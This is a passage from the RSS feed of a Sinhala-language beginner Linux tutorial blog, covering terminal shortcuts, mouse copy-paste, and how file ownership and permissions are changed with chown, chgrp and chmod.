&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUM9Fu733Ca-B9UMWG-lL8fTAEl6DMumQyp8ywVPaCan2PDtuwr0Cs-v5blIx7iJkizRQ5LWERtr4qCPSfOxhmUKMQQNY9B2J85QyXgHQ7Gp2ttQVEy8cI_945fyv81fd47jP3TcTZrOI/s1600/tab+1.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUM9Fu733Ca-B9UMWG-lL8fTAEl6DMumQyp8ywVPaCan2PDtuwr0Cs-v5blIx7iJkizRQ5LWERtr4qCPSfOxhmUKMQQNY9B2J85QyXgHQ7Gp2ttQVEy8cI_945fyv81fd47jP3TcTZrOI/s320/tab+1.png&quot; height=&quot;218&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;මේ විදිහට කිසිම විධානයක් සම්පූර්ණයෙන් මතකයේ තබාගන්නේ නැතුව බොහෝම ලේසියෙන් භාවිතා කරන්න පුළුවන්.&lt;br /&gt;&lt;br /&gt;ඒ වගේම තමා කිසියම් ෆයිල් එකක් විවෘත කරගැනීමටත් මෙම ටැබ් සෙල්ලම භාවිතා කරන්න පුළුවන්. ෆයිල් සමඟ වැඩ කිරීමේදී ෆයිල් එකේ සම්පූර්ණ නම ටයිප් කරන්නේ නැතුව ටැබ් එකෙන් ඒ වැඩේ කරගන්න පුළුවන්.&lt;br /&gt;ෆයිල් වැඩේට උදාහරණ දෙන්න ඕනේ නෑ.. ඔබම අත්හදා බලන්න. ප්‍රශ්නයක් තියෙනවා නම් අහන්න.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;මූසිකය (Mouse) භාවිතය.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;මූසිකය එහෙමත් නැත්තම් මවුස් එක භාවිතා කරන්න කියලා දෙන්න ඕනේ නැති වුනත් ලිනක්ස් භාවිතා කිරීමෙදි &lt;b&gt;Copy &amp;amp; Paste&lt;/b&gt; කරන්නේ නැතුව &lt;b&gt;Copy &amp;amp; Paste&lt;/b&gt; කරන්න මවුස් එක භාවිතා කරන හැටි කියලා දෙන්න වටිනවා.&lt;br /&gt;ඔබට අවශ්‍යය වචනයක් මත එක තියලා &lt;b&gt;Double Click&lt;/b&gt; කරන්න. එවිට එම වචනය &lt;span style=&quot;background-color: yellow;&quot;&gt;&lt;b&gt;Highlight&lt;/b&gt;&lt;/span&gt; වේවී. දැන් එම වචනය &lt;b&gt;paste&lt;/b&gt; කරන්න ඕනේ තැන &lt;b&gt;Mouse Pointer&lt;/b&gt; එක තියලා &lt;b&gt;Middle Click&lt;/b&gt; කරන්න. ඔබට පෙනේවී අදාල වචනය &lt;b&gt;Paste&lt;/b&gt; වී ඇති බව. යම් කිසි වචනයක් මත තුන් පාරක් ක්ලික් කලහොත් අදාල වාක්‍යයම &lt;span style=&quot;background-color: yellow;&quot;&gt;Highlight&lt;/span&gt; වෙනවා ඔබට පෙනේවී. දැන් ආයෙත් වෙන තැනකට ගිහින් &lt;b&gt;Middle Click&lt;/b&gt; කරොත් මුළු වාක්‍යයම වෙනවා ඔබට දැකගන්නට ලැබේවී.&lt;br /&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;u&gt;&lt;b&gt;සැළකිය යුතුයි.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;මෙය වින්ඩෝස් පද්ධතියක ක්‍රියාත්මක නොවන &lt;b&gt;ලිනක්ස්&lt;/b&gt; වලටම ආවේණික වූ කෙටි ක්‍රමයකි.&lt;br /&gt;තවද මෙය සාමන්‍යය &lt;b&gt;Copy &amp;amp; Paste&lt;/b&gt; කිරීමේ ක්‍රමයෙන් ස්වායක්ත වේ. එනම් ඔබට මෙසේ එක වචනයක් හෝ වාක්‍යයක් වෙනත් තැනක &lt;b&gt;Paste&lt;/b&gt; කරනගමන්ම සාමාන්‍යය විදිහට &lt;b&gt;Copy &amp;amp; Paste&lt;/b&gt; කරගැනීමද සිදු කරගත හැකිය. ඔබ විසින්ම අත්හදා බලන්න.&lt;/li&gt;
&lt;/ul&gt;
මීට අමතරව ටර්මිනලයේ සිටියදී &lt;b&gt;Up Arrow Key&lt;/b&gt; එක භාවිතා කරන කලින් ක්‍රියාත්මක කල විධානයක් ටයිප් කිරීමකින් තොරව ලබාගත හැකිය.&lt;br /&gt;
සමහර දිග විධාන භාවිතයේදී නැවත විධානයේ මුලට යන්න අවශ්‍යය නම් &lt;b&gt;Ctrl&lt;/b&gt; සමඟ &lt;b&gt;A&lt;/b&gt; යතුර තද කරන්න.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;විශේෂ ස්තූතිය.&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.sayura.net/anuradha/&quot; target=&quot;_blank&quot;&gt;අනුරාධ රත්නවීර මහතා&lt;/a&gt;.&lt;br /&gt;
&lt;ul&gt;
&lt;/ul&gt;
&lt;br /&gt;</description><link>http://linux-sinhala.blogspot.com/2013/01/learn-linux-10.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhB6IqsM9JsfGv0tV1L3MJSUU0fNnvhJKezOK27YLC19ZO6qItzi8qmS6aKOGuFjCTeVKzbq0rSPW0vQYhIuo3PQ2ekDdsgnvOd1hjFhY4HRR1nryDes3_o6vIUMSwHKytfeLr_55p3k/s72-c/gtypist1.png" height="72" width="72"/><thr:total>10</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-167752878958220320</guid><pubDate>Tue, 11 Dec 2012 19:41:00 +0000</pubDate><atom:updated>2012-12-12T01:11:23.816+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">commands</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Unix</category><title>ෆයිල්ස් වල හිමිකාරීත්වය - ලිනක්ස් පාඩම් මාලාව #9</title><description>ෆයිල්ස් වල අවසර තත්වයන් හා හිමිකාරීත්වය ගැන කථා කරපු ලිපි පෙලේ අන්තිම ලිපිය තමයි මේක. මෙච්චර දවසක් අපි කථා කරේ ෆයිල්ස් වල අවසර තත්වය පිළිබඳවයි, අද අපි කථා කරන්න යන්නේ ෆයිල්ස් වල හිමිකාරීත්වය ගැන.&lt;br /&gt;
ෆයිල්ස් වල හිමිකාරිත්වය වෙනස් කිරීම සම්බන්ධයෙන් කථා කරන විට මුලින්ම දැන ගන්න ඕනේ අපි හිමිකාරිත්වය වෙනස් කරන ෆයිල්ස් වල හිමිකාරීත්වය තිබෙන්නේ කාටද කියලා. මොකද අපිට වෙනස් කරන්න පුලුවන් අපිට අයිති/හිමි ෆයිල්ස් පමණයි. එහෙම නැත්තම අපි මේ විධාන භාවිතා කරද්දි රූට් හෙවත් සුපිරි පරිශිලකයා වීම අත්‍යාවශ්‍යයි.&lt;br /&gt;
අපිට මේ සඳහා chown හා chgrp යන විධාන 2ක භාවිතා කිරීමට පුළුවනි.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;u&gt;&lt;b&gt;1. මුලින්ම chown විධානය භාවිතා කරන ආකාරය බලමු.&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;ෆයිල් එකක හිමිකාරීත්වය වෙනස් කිරීම.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ chown user_name file_name&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
මෙහි &lt;i&gt;user_name&lt;/i&gt; 
යනුවෙන් සඳහන් ස්ථානයේ අපිට හිමිකාරීත්වය ලබා දිය යුතු පරිශීලකයාගේ නමත්, 
&lt;i&gt;file_name&lt;/i&gt; යනුවෙන් සඳහන් ස්ථානයේ හිමිකාරීත්වය වෙනස් කිරීමට අවශ්‍යය ෆයිල් 
එකේ නමත් ලබා දිය යුතු වේ.&lt;br /&gt;
&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;පරිශීලක කණ්ඩායමකට එකවර හිමිකාරීත්වය ලබාදීම.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ chown user_name:user_group file_name&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;හිමිකාරීත්වය ලබාදීමට හෝ වෙනස් කිරීමට අවශ්‍යය පරිශිලක කණ්ඩායමේ නම මෙහි &lt;i&gt;user_group&lt;/i&gt; යනුවෙන් සඳහන් ස්ථානයට ලබාදීමෙන් අදාල ෆයිල් එක හිමි පරිශීලක කණ්ඩායම වෙනස් කල හැකිය.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;ඩිරෙක්ටරයක හිමිකාරීත්වය වෙනස් කීරීම.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ chown user_name directory_name&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;මෙම විධානය ක්‍රියාත්මක කිරීමෙන් පසුව &lt;i&gt;directory_name&lt;/i&gt; යනුවෙන් ලබාදුන් ඩිරෙක්ටරයේ හිමිකාරීත්වය, &lt;i&gt;user_name&lt;/i&gt; යනුවෙන් ලබාදුන් පරිශීලකයාට හිමි වේ.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;ඩිරෙක්ටරයක අන්තරගත සියළුම ෆයිල් වල හිමිකාරීත්වය වෙනස් කිරීම.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ chown -R user_name directory_name&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;මෙම &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;R&lt;/b&gt;&lt;/span&gt; යන විකල්ප විධානය භාවිතා කිරීමෙන් මෙහි&amp;nbsp; &lt;i&gt;directroy_name&lt;/i&gt; යනුවෙන් ලබාදුන් ඩිරෙක්ටරයේ අඩංගු සියළුම ෆයිල් වල හිමිකාරීත්වය ලබාදුන් &lt;i&gt;user_name&lt;/i&gt; එක අයත් පරිශීලකයාට හිමිවේ.&lt;br /&gt;මෙම &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;R&lt;/b&gt;&lt;/span&gt;&amp;nbsp; විකල්ප විධානයේ තේරුම &lt;i&gt;recursive&lt;/i&gt; හෙවත් නැවත නැවතත් ක්‍රියාත්මක කිරීම වේ. මෙම &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;R&lt;/b&gt;&lt;/span&gt; විකල්ප විධානය නිතර නිතර භාවිතා වන බොහෝමත් ප්‍රයෝජනවත් විධානයකි.&lt;/li&gt;
&lt;/ol&gt;
&lt;u&gt;&lt;b&gt;2. chgrp විධානය භාවිතා කිරීම.&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
මෙහි භාවිතයද, විධානය මෙන්ම වේ. මෙම විධානය භාවිතා කිරීමෙන් කෙලින්ම පරිශීලක කණ්ඩායමේ හිමිකාරීත්වය වෙනස් කල හැකිය.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ chgrp user_name file_name&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
මෙහිදීද &lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;chown&lt;/span&gt;&lt;/b&gt; හීදී මෙන් &lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;R&lt;/span&gt;&lt;/b&gt; විකල්ප විධානය භාවිතා කල හැකිය.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ chgrp -R user_name directory_name&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: yellow;&quot;&gt;&lt;u&gt;&lt;b&gt;අමතර කරුණු :&lt;/b&gt;&lt;/u&gt;&lt;/span&gt; ඔබට අවශ්‍යය නම් මෙහි &lt;i&gt;user_name&lt;/i&gt; වෙනුවට අදාල පරිශීලකයාගේ &lt;b&gt;user id&lt;/b&gt; එක වුවද ලබා දිය හැකිය. තවද &lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;v&lt;/span&gt;&lt;/b&gt; යන විකල්ප විධානය භාවිතා කර ක්‍රියාත්මක කල විධානයෙන් සිදුවූ ක්‍රියාව බලාගත හැකිය.&lt;br /&gt;
&lt;br /&gt;
උදා:&lt;br /&gt;
&lt;code&gt;$ &lt;strong&gt;chown -v username somefile&lt;/strong&gt;&lt;br /&gt;
  changed ownership of &#39;somefile&#39; to username&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;&amp;nbsp;&lt;/code&gt;&lt;code&gt;$ &lt;strong&gt;chgrp -Rv usergroup somedir&lt;/strong&gt;&lt;br /&gt;
  changed group of &#39;somedir/&#39; to usergroup&lt;br /&gt;
  changed group of &#39;somedir/boringfile&#39; to usergroup&lt;br /&gt;
  changed group of &#39;somedir/somefile&#39; to usergroup&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
ලිනක්ස් හෝ යුනික්ස් පද්ධතියක ෆයිල්ස් හා ඒවාගේ අවසර තත්වයන් හා ඒවායේ හිමිකාරීත්වය පිළිබඳව ඔබ තුල දැන් මනා වැටහීමක් ඇති. මෙම සංකල්ප අධ්‍යනය තුලින් ඔබට ලිනක්ස් තුලදී ෆයිල් සමඟ ඉතාමත් පහසුවෙන් ගනුදෙනු කල හැකිවේ. ලිනක්ස් පිළිබඳව තවත් ආකර්ශණීය ලිපියක් මීලඟ ලිපියෙන් බලාපොරොත්තු වන්න.&lt;br /&gt;
&lt;br /&gt;</description><link>http://linux-sinhala.blogspot.com/2012/12/learn-linux-9.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-6153957514166395570</guid><pubDate>Thu, 11 Oct 2012 11:30:00 +0000</pubDate><atom:updated>2012-10-11T18:48:20.276+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">commands</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Unix</category><category domain="http://www.blogger.com/atom/ns#">මූලික සංකල්ප</category><title>ෆයිල්ස් වල අවසර තත්වයන් සහ හිමිකාරීත්වය 3 - ලිනක්ස් පාඩම් මාලාව #8</title><description>&lt;b&gt;ලිනක්ස්&lt;/b&gt; පද්ධතියක භාවිතා කරන &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/10/learn-linux-6.html&quot; target=&quot;_blank&quot;&gt;ෆයිල් පර්මිෂන්&lt;/a&gt; ගැන හා ඒවා &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/10/learn-linux-7.html&quot; target=&quot;_blank&quot;&gt;පරීක්ෂා කරන ආකාරය&lt;/a&gt; පිළිබඳව අපි කලින් ලිපි දෙකින් සාකච්ඡා කලා. අද අපි අපේ පද්ධතියේ තියෙන ෆයිල් වල අවසර තත්වයන් වෙනස් කරන ආකාරය විස්තරාත්මකව සාකච්ඡා කරමු. මෙම පාඩමේ මුල්ම ලිපියෙන් සාකච්ඡා කල පරිදි මෙම අවසර සැකසීම භාවිතා කරන පාර්ශව &lt;b&gt;තුනටම&lt;/b&gt; අදාලව සාකච්ඡා කල යුතුය.&lt;br /&gt;
&lt;br /&gt;
මුලින්ම අපි යම් කිසි ෆයිල් එකකට අලුතින් අවසර තත්වයක් ලබා දීම හෝ තිබෙන අවසර තත්වයක් ඉවත් කිරීම කරන්න පුළුවන් &lt;b&gt;සරළම&lt;/b&gt; ආකාරය පිළිබඳව සාකච්ඡා කරමු.&lt;br /&gt;
මේ සඳහා භාවිතා කරන්නේ &lt;b&gt;chmod&lt;/b&gt; (change mode)කියන විධානයයි. දැන් අපි බලමු මේ විධානය භාවිතා කරලා කොහොමද අවසර තත්වයන් වෙනස් කරගන්නේ කියලා.&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;අවසර තත්වයක් එකතු කිරීම.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;$ chmod +Permisson_Type filename&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&amp;nbsp;මෙහි Permisson_Type කියලා සඳහන් වන්නේ ලබාදෙන අවසර තත්වයයි. ඔබට මතක ඇති අපි භාවිතා කරන අවසර තත්ව.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; r&amp;nbsp;&amp;nbsp; = read permission කියවීමට ඇති අවසරය.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; w = write permission ලිවීමට (වෙනස් කිරීමට ඇති අවසරය.)&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; x&amp;nbsp; = execute permission ක්‍රියාත්මක කිරීමට ඇති අවසරය.&lt;/b&gt;&lt;/blockquote&gt;
&amp;nbsp;එනම් ඉහත සඳහන් අවසර තත්වයක් අවශ්‍යය ෆයිල් එකේ නම ඉදිරියෙන් ටයිප් කර එම අවසර තත්වය අදාල ෆයිල්&amp;nbsp; එකට ලබාදිය හැකිය.&lt;br /&gt;&lt;i&gt;උදාහරණයක් විදිහට foo කියන ෆයිල් එකට ක්‍රියාත්මක කිරීමේ අවසරය ලබාදෙන්න අවශ්‍යයි කියලා හිතන්න. ඒ සඳහා විධානය වන්නේ,&lt;/i&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ chmod +x foo&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;අවසර තත්වයක් ඉවත් කිරීම.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;අවසර තත්වයක් ඉවත් කිරීම සඳහා කල යුත්තේ ඉහත විධානයේ ධන ලකුණ (+) වෙනුවට සෘණ ලකුණ (-) යෙදීම පමණී.&lt;br /&gt;&lt;i&gt;උදාහරණයක් විදිහට foo ෆයිල් එකේ ක්‍රියාත්මක කිරීමට ඇති අවසරය ඉවත් කිරීමට භාවිතා කල යුත්තේ පහට විධානයයි.&lt;/i&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;b&gt;$ chmod -x foo&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
මේ විදිහට බොහෝ ෆයිල්ස් වලට අවසර තත්වයන් එකතු කරන්නටත්, තිබෙන අවසර තත්වයක් ඉවත් කිරීමටත් පුලුවන්. &lt;b&gt;අභ්‍යාසයක්&lt;/b&gt; විදිහට ටර්මිනල් එකක් ගෙන විවිධ ආකාරයේ ෆයිල් නිර්මාණය කර ඒවායේ අවසර තත්වයන් වෙනස් කර බලන්න. වෙනස් කල පසු &lt;span style=&quot;background-color: yellow;&quot;&gt;&lt;b&gt;ls -l&lt;/b&gt;&lt;/span&gt; විධානය භාවිතා කර වෙනස් කම පරීක්ෂා කරන්න.&lt;/li&gt;
&lt;/ol&gt;
&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;සටහන:&lt;/span&gt; මෙම ක්‍රමයේදී අවසර තත්වයන් වෙනස් වන්නේ එම මොහොතේ පද්ධතිය භාවිතා කරන &lt;span style=&quot;background-color: yellow;&quot;&gt;පරිශීලකයාට&lt;/span&gt; අයත් අවසර තත්වයන් පමණී. පාර්ශව 3 ටම අදාලව අවසර තත්වයන් වෙනස් කරන ආකාරය ගැන විස්තරාත්මකව පහත සාකච්ඡා කර ඇත.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;ඉහත අපි සාකච්ඡා කලේ මේ අවසර තත්වයන් &lt;b&gt;තනි පරිශිලකයෙකුට&lt;/b&gt; පමණක් බලපාන පරිදි වෙනස් කරගැනීම පිළිබඳවයි. දැන් අපි සම්පූර්ණයෙන්ම මෙම අවසර සැකසීමට අදාල සියළු කොටස් ගැන සාකච්ඡා කරමු. මෙය මූලිකව කොටස් දෙකකට වෙන් කොට සාකච්ඡා කල හැකිය.&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;ඉලක්කම් භාවිතයෙන් අවසර සැකසීම.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;ලිනක්ස්&lt;/b&gt; භාවිතා කරන ගොඩාක් දෙනෙක් භාවිතා කරන ඉතා පහසු ක්‍රමයක් තමා මේක. ඒත් මේක පාඩම් මාලාවකට අයත් ලිපියක් නිසා මේ ක්‍රමයේ &lt;b&gt;මූලික සිද්ධාන්තයේ&lt;/b&gt; සිටම කරුණු පැහැදිලි කරන්නම්.මේක ගොඩනැගිලා තියෙන්නේ මෙහෙමයි.&lt;br /&gt;පහත පරිදි අවසර තත්වයන් 4 සඳහා වෙන වෙනම &lt;b&gt;සංඛ්‍යාත්මක&lt;/b&gt; වටිනාකමක් ලබාදී තිබෙනවා.&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;4 &lt;/b&gt; = read (r)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;2&lt;/b&gt; = write (w)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;1&lt;/b&gt; = execute (x)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;0&lt;/b&gt; = no permission (-)&lt;/span&gt;&lt;/blockquote&gt;
මෙම සංඛ්‍යාවල එකතුවෙන් තමා අවසර සැකසීම සිදු කෙරෙන්නේ.&lt;br /&gt;&lt;i&gt;උදාහරණයක් විදිහට හිතන්න අපිට යම් කොට්ඨාසයකට කියවීමට හා ක්‍රියාත්මක කිරීමට පමණක් අවසර ලබා දෙන්න අවශ්‍යයි කියලා හිතන්න. එවිට අදාල අංකය වෙන්නේ&lt;/i&gt;&lt;br /&gt;5 = 4 (read) + 1 (execute)&lt;br /&gt;&lt;br /&gt; මේ විදිහට ගණනය කරලා හදා ගත්තු වගුවක් තමා පහත දක්වලා තියෙන්නේ.&lt;br /&gt;
&lt;style&gt;
table {text-align:center}
td.col {text-align:left}
&lt;/style&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;th&gt;&lt;span style=&quot;color: blue;&quot;&gt;අංකය&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;color: blue;&quot;&gt;අර්ථය&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;color: blue;&quot;&gt;අවසර තත්වය&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;&lt;b&gt;---&lt;/b&gt;&lt;/td&gt;
&lt;td class=&quot;col&quot;&gt;කිසිදු අවසරයක් නැත.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;b&gt;--x&lt;/b&gt;&lt;/td&gt;
&lt;td class=&quot;col&quot;&gt;ක්‍රියාත්මක කිරීමට පමණක්.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;b&gt;-w-&lt;/b&gt;&lt;/td&gt;
&lt;td class=&quot;col&quot;&gt;වෙනස් කිරීමට පමණක්.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;b&gt;-wx&lt;/b&gt;&lt;/td&gt;
&lt;td class=&quot;col&quot;&gt;වෙනස් හා ක්‍රියාත්මක කිරීමට පමණක්.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;b&gt;r--&lt;/b&gt;&lt;/td&gt;
&lt;td class=&quot;col&quot;&gt;කියවීමට පමණක්&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;b&gt;r-x&lt;/b&gt;&lt;/td&gt;
&lt;td class=&quot;col&quot;&gt;කියවීමට හා ක්‍රියාත්මක කිරීමට පමණක්.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;b&gt;rw-&lt;/b&gt;&lt;/td&gt;
&lt;td class=&quot;col&quot;&gt;කියවීමට හා වෙනස්කිරීමට පමණක්.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;b&gt;rwx&lt;/b&gt;&lt;/td&gt;
&lt;td class=&quot;col&quot;&gt;කියවීමට, වෙනස් කිරීමට හා ක්‍රියාත්මක කිරීමට පමණක්.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
දැන් අපි බලමු කොහොමද මේ ආකාරයෙන් සම්පූර්ණ අවසර සැකසීමක් සිදු කරන්නේ කියලා.&lt;ul&gt;
&lt;li&gt;&lt;b&gt;උදා 1 :-&lt;/b&gt; ෆයිල් එක අයිති පරිශීලකයාට &lt;b&gt;පමණක්&lt;/b&gt; සියලු අවසරත්, අනෙක් පාර්ශව සඳහා කියවීමට හා ක්‍රියාත්මක කිරීමට පමණක් අවසර ලබා දීමට නම්, එනම් ආකාරයේ (&lt;b&gt;rwxr-xr-x&lt;/b&gt;) අවසරයක්&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ chmod 755 file_name&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;/li&gt;
